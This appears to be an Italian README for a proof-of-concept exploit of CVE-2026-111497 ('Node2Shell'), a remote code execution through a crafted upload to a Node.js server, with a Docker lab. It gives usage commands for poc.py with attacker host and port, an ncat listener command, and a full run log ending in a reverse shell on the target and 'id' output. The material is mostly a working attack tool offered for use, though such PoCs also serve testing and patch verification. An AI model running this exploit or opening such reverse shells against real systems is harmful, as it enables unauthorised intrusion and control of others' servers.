eqstlab/cve-2026-111497Proof-of-concept di exploit per CVE-2026-111497 (Node2Shell) che sfrutta un'esecuzione di codice in remoto tramite un upload appositamente costruito e fornisce una reverse shell, con un laboratorio Docker.
Clona il repository e compila l'ambiente Docker.
git clone https://github.com/EQSTLab/CVE-2026-111497.git
cd CVE-2026-111497
docker build -t cve-2026-111497 .
docker run -d --rm --name node2shell-lab -p 3000:3000 cve-2026-111497
Esegui il PoC con l'indirizzo di destinazione e la configurazione del listener.
python poc.py [TARGET] -lhost [ATTACKER_IP] -lport [ATTACKER_PORT]
Avvia il listener per ricevere la connessione della reverse shell.
ncat -lvnp 4444
$ python poc.py 127.0.0.1:3000 -lhost 192.168.102.87 -lport 4444
EQST Lab | CVE-2026-111497 Node2Shell
target 127.0.0.1:3000 /upload
listener 192.168.102.87:4444
profile node 24.22.0 linux/amd64, fd 19
note start a listener first: nc -lvnp 4444
0.0s stream 22.0 MiB brotli, rop at +0x397
6.6s round 1 no hit (6.5s)
23.2s round 2 no hit (6.5s)
40.8s round 3 no hit (6.6s)
50.5s round 4 no hit (0.5s)
66.0s round 5 no hit (0.6s)
84.5s round 6 no hit (0.6s)
103.2s round 7 no hit (0.5s)
127.4s round 8 no hit (6.5s)
137.9s round 9 no hit (0.6s)
161.1s round 10 no hit (6.5s)
170.6s round 11 no hit (0.6s)
192.6s round 12 no hit (6.6s)
207.2s round 13 no hit (6.6s)
224.1s round 14 no hit (6.6s)
234.6s round 15 no hit (0.6s)
259.8s round 16 no hit (6.6s)
270.8s round 17 no hit (0.6s)
288.9s round 18 decoder hijacked (0.5s)
288.9s dispatch reverse shell to 192.168.102.87:4444
result code execution on round 18 of 50
shell waiting on 192.168.102.87:4444
C:\Users\user\Desktop>ncat -lvnp 4444
Ncat: Version 7.99 ( https://nmap.org/ncat )
Ncat: Listening on [::]:4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 192.168.102.87:33437.
bash: cannot set terminal process group (272): Inappropriate ioctl for device
bash: no job control in this shell
node@d40e35dfad8a:/app$ id
id
uid=1000(node) gid=1000(node) groups=1000(node)